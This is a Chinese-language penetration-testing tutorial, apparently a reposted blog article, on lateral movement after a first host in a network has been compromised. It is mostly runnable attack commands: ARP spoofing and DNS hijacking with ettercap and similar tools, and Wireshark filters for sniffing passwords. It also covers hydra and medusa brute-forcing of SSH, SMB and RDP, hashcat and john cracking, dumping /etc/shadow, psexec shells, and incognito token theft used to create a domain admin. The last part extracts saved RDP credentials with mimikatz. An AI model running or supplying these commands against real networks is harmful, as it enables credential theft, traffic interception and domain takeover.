原文链接:横向渗透的常见方法
在已经攻占部分内网主机的前提下,利用现有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个网段、拥有最高权限的目的。在很多时候,内网渗透的起点往往只是一台通过漏洞攻陷的跳板,横向渗透就是通过这个突破口去不断扩大在本网段内的战果。
进入内网维持好权限后接下来要做的就是对当前网络信息进行全面的信息收集。分析自己所处的网络位置、计算机信息、横向资产、服务与端口(漏洞扫描及利用)、敏感数据(如ftp链接记录、浏览器访问记录、各服务保存的密码、数据库等)。端口服务常见攻击方法有:爆破、漏洞利用、欺骗、钓鱼
一、系统漏洞
根据补丁信息,掏出EXP利用常规系统漏洞对整个网段进行扫描并利用。
二、流量监听
监听对象是网段内未加密的一些服务协议,主要内容包括服务连接密码、网站登录密码、敏感数据等
1. cain
cain适用于老版本服务器,实例:
- win2003是web服务器,充当进入内网的跳板机(192.168.198.133)
- win7充当内网被攻击机(192.168.198.130)
复制代码
win2003安装了cain。通过cain充当中间人做arp欺骗,截取靶机win7与网关通信的流量以获取不加密的敏感信息。
①选择网卡
同时也可以修改默认端口。确认点击即可开始嗅探
②嗅探中,对网段进行主机存活扫描
③选择网关以及欺骗目标主机
④开始欺骗
此时在靶机里面可以看见网关和win03的mac地址相同,说明已经完成arp欺骗
⑤开始监听,监听后在目标机器win7里面打开任意http登录框输入密码进行登录:
⑥此时在cain里面,成功抓取密码
1.1 抓取telnet登录密码
靶机win7 telnet连接网段内任意设备
抓取成功,用户名数据包重叠了,问题不大
1.2 抓取ftp登录密码
靶机win7 ftp登录网段内任意设备
抓取成功
2.wireshark
wireshark是网工必备神器,功能强大,这里只简单介绍到他的过滤语法进行流量监听。
① 抓取http流量
②抓取指定源地址的http流量
- http && ip.src==192.168.198.133
复制代码
③抓取post数据包含用户名及密码
- http && ip.src==192.168.198.133 && http.request.method=="POST"
复制代码
抓取到的登录信息:
④抓取访问指定目标地址的http流量
- http && ip.dst==192.168.198.133
复制代码
2.1抓取ftp
- ftp && ip.dst==192.168.198.133
复制代码
- telnet && ip.dst==192.168.198.133
复制代码
抓取到的telnet是一个一个字符传递数据,所以根据tcp码流将所有流量合成一个数据包进行分析(右键单击数据包点击)
三、ARP欺骗
进行arp欺骗后,可进行域名欺骗、网页内容欺骗、dns解析欺骗+钓鱼攻击等进一步操作。
1.netfuke和cain工具一样只适用于老版本服务器。
①嗅探设置
来源IP栏输入网关地址,中间人写本机IP。
可以将钓鱼页面以html格式文件写到这里
③启动欺骗之后。在目标浏览器上,所有web网站都会强制跳转到html页
2. Foca evail
Foca evail适合高版本服务器,需要dotnet 4.5以上环境。打开工具设置网卡之后会自动识别同网段其他主机和网关
①arp中间人攻击
选择网关及目标机器进行ipv4攻击
②配置dns劫持欺骗
劫持dns解析过程,在主机将www.baidu.com域名发送到dns服务器时进行劫持返回主机伪造的其他的IP地址。这里将百度的域名解析到192.168.198.1这个IP上。(若勾选wildcard选项表示劫持所有域名)
③成功劫持
靶机上www.baidu.com已经解析到IP 192.168.198.1。利用dns劫持可以进行钓鱼攻击
3. ettercap
ettercap是kali一款功能强大的欺骗攻击工具,既可以实现arp欺骗也可以实现复杂的中间人攻击。支持命令行和图形界面
arp欺骗
①ettercap -G 打开图形界面
②扫描存活主机
accept>hosts>scan for hosts,扫描完成后依次点击hosts>hosts list,可查看当前网络主机列表
③选择攻击目标设为target 1,网关设为 target 2
④选择中间人攻击类型。设置arp监听,然后开始攻击
⑤成功抓取密码
Dns欺骗
①设置欺骗的目标ip以及指定目标网址
- vi /etc/ettercap/etter.dns
复制代码
②accept>hosts>scan for hosts,扫描完成后hosts>hosts list,可查看主机列表。设置欺骗目标,开启arp欺骗
③设置插件
plugins》manage plugins》dns_spoof
④dns欺骗
这里也可以看到记录的密码
⑤dns欺骗成功
ettercap命令行
ettercap -T -q -i eth0 -M arp:remote /192.168.198.130// /192.168.198.2//#目标:192.168.198.130#网关:192.168.198.2抓取密码成功,这里还能抓到cookie,如果没法抓到密码可以抓cookie登录
四、服务密码攻击
1.在线爆破
在线爆破受网络因素、字典、电脑性能影响较大。扫描端口分析服务进行爆破攻击:smb、telnet、ftp、rdp、mysql、mssql、ssh
Hydra爆破telnet
- hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 telnet://192.168.198.133:23
复制代码
Hydra爆破ftp
- hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 ftp://192.168.198.133:21
复制代码
Hydra爆破smb
- hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 smb://192.168.198.133:445
复制代码
Hydra爆破ssh
- hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 ssh://192.168.198.131:22
复制代码
Hydra爆破rdp。存在误报情况,未知原因:
- hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 rdp://192.168.198.133:3389
复制代码
medusa
medusa 工具是通过并行登录暴力破解的方法,尝试获取远程验证服务访问权限。medusa能够验证的远程服务,如ftp/http/imap/mssql/netware/nntp/pcanywhere/pop3/snmp/sshv2/telnet/vnc 等服务密码。个人觉得没有hydra用起来丝滑
- medusa -h 192.168.1.8 -U /root/dict/usename.txt -P /root/dict/password.txt -M telnet
复制代码
其他–超级弱口令工具
线程越低越精确
2.离线爆破得到目标密文后本地加载字典爆破。不用考虑网络因素,对字典、电脑性能要求高
2.1 hash-identifier--用于识别密文加密的算法类型的工具
2.2 Hashcat
Hashcat系列软件包含Hashcat、oclHashcat、oclRausscrack。其区别为Hashcat只支持cpu破解;oclHashcat和oclGausscrack则支持gpu加速。oclHashcat则分为AMD版和NIVDA版。
- -m #指定加密类型,跟上对应的id号。id号对应编码方式如下图
复制代码
- -a #指定爆破攻击模式,常用0和3。0表示加载字典爆破,3表示边生成字典边爆破
复制代码
①字典爆破
- #使用字典破解密码,a.hash是指要爆破的密文,password.txt是指密码字典。-o 1.txt输出为文件
- hashcat /root/dict/a.hash -m 0 -a 0 /root/dict/password.txt --force
复制代码
②掩码破解
- ?l #小写字母
- ?u #大写字母
- ?d #纯数字
- ?h #小写十六进制
- ?H #大写十六进制
- ?s #特殊字符
- ?a #等于?l?u?d?s
- #例如:生成8位纯数字爆破
- hashcat a.txt -m 0 -a 3 ?d?d?d?d?d?d?d?d
复制代码 指定爆破位数且为每一个字母指定类型
- hashcat /root/dict/a.hash -m 0 -a 3 ?l?l?l?l?d?d?d --force
- # test123>?l?l?l?l?d?d?d
复制代码
组合爆破
- --custom-charset1=?l?d ?1?1?1?1?1?1?1?1
- # 表示生成8位(?1表示数字和小写字母的组合)由小写字母和数字组合形成的字典
- hashcat /root/dict/a.hash -m 0 -a 3 --custom-charset1=?l?d ?1?1?1?1?1?1?1?1 --force
复制代码
john
1.破解windows密码。用hashdump7或者mimikatz 导出windows hash为1.txt
- john -format=NT /root/1.txt
复制代码
2.破解Linux shadow文件
- cat /etc/shadow > shadow.txt
- john shadow.txt
- john shadow.txt --show
复制代码
压缩包爆破1.Fcrackzip - #安装
- apt-get install fcrackzip
- -b #指定模式为暴破
- -c #指定密码类型字。(a=a-z;1=0-9;!=特殊字符;-ca1!)
- -u #显示破解出来的密码
- -l 5-6 #指定密码长度
- -D #使用字典
- -p #使用字符串作为初始密码文件
- -threads #线程
复制代码- #爆破密码为数字
- fcrackzip -b -ca1 -l 1-6 -u ip.zip
- #带字典爆破
- fcrackzip -D -p pass.txt -u 1.zip
复制代码
2.rarcrack 该软件用于暴力破解压缩文件的密码,但仅支持RAR, ZIP, 7Z这三种类型的压缩包
执行命令: rarcrack 文件名 -threads 线程数 -type rar|zip|7z
- rarcrack 123.zip --threads 10 --type zip
复制代码
如果允许出现错误。那么可以执行sudo apt-get install libxml2-dev libxslt-dev进行修复。
shell控制连接
通过端口爆破445得到账号密码。没有开3389没法直接登录,此时借用psexec直接调用cmd登录。也可以通过incognito劫持token,如果有域管理员token劫持DC,创建一个域管理员出来
1.psexec.exe
- 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
复制代码 通过得到的账号密码信息链接跳板机,通过smb爆破得到账号密码,如果目标没有开启3389/23服务无法直接登录,借助psexec.exe工具通过smb服务调用目标cmd
- psexec.exe \\192.168.198.138 -u administrator -p 123456 cmd
复制代码
2.incognito.exe提权
- #查看本机可以利用的token
- incognito.exe list_tokens -u
- #查看远程机器可以利用劫持的token
- incognito.exe -h 192.168.198.138 -u administrator -p 123456 list_tokens -u
复制代码
- #调用远程机器的本地系统权限的cmd.exe,查看可以劫持的权限
- incognito.exe -h 192.168.198.138 -u administrator -p 123456 execute -c "NT AUTHORITY\SYSTEM" cmd.exe
复制代码
- #域控账号登陆过普通主机,可以尝试拿到域低权限账号利用incognito工具劫持域控身份
- #查找被攻击的计算机中是否有DC的token
- incognito.exe -h 192.168.200.11 -u admin -p 123123 list_tokens -u
- #利用DA的token创建新的DC,调用DC的cmd.exe
- incognito.exe -h 192.168.200.11 -u admin -p 123123 execute -c "XY\ADMINISTRATOR" cmd.exe
- #执行创建DC命令
- net user hh 123.com /add /domain
- net group "domain admins" hh /add /domain
复制代码
Linux下通过smbclient访问windows共享目录
1.安装smbclient
- yum -y install samba-client/apt-get install samba-client
复制代码 2.查看共享
- smbclient -L 192.168.1.8 -U administrator
复制代码
3.smb连接
- smbclient //192.168.1.8/tools -U administrator
复制代码
执行smbclient命令成功后,进入smbclient环境,出现提示符:smb:/> 这里命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源
本地rdp密码读取
1.查看当前服务器历史记录
- #查看rdp连接历史记录
- cmdkey /list
复制代码
2.查找保存在本地的认证,得到对应路径以及值
- dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
复制代码
得到:
- C:**加粗样式**\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363
复制代码
3.运行mimikaz,获取guidMasterKey
- mimikatz
- dpapi::cred /in:C:\Users\MIN\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363
复制代码
接下来需要使用的是guidMasterKey、pbData数据。pbData是凭据的加密数据,guidMasterKey是凭据的GUID。
4.获取MasterKey
根据目标凭据GUID找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。
- mimikatz.exe ""privilege::debug"" ""sekurlsa::dpapi full"" exit >> c:\log.txt
复制代码
根据guid获取到masterkey
5.mimikatz破解密码
- rs\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363/masterkey:3d5c95de7ccd3a1d468efd0d90a42330cdcf06d0e7ee834a443907384a6b25dab8d8ab32c8c9540605711d689304ecab949e168719551d2423498168f7fec6ac
复制代码
|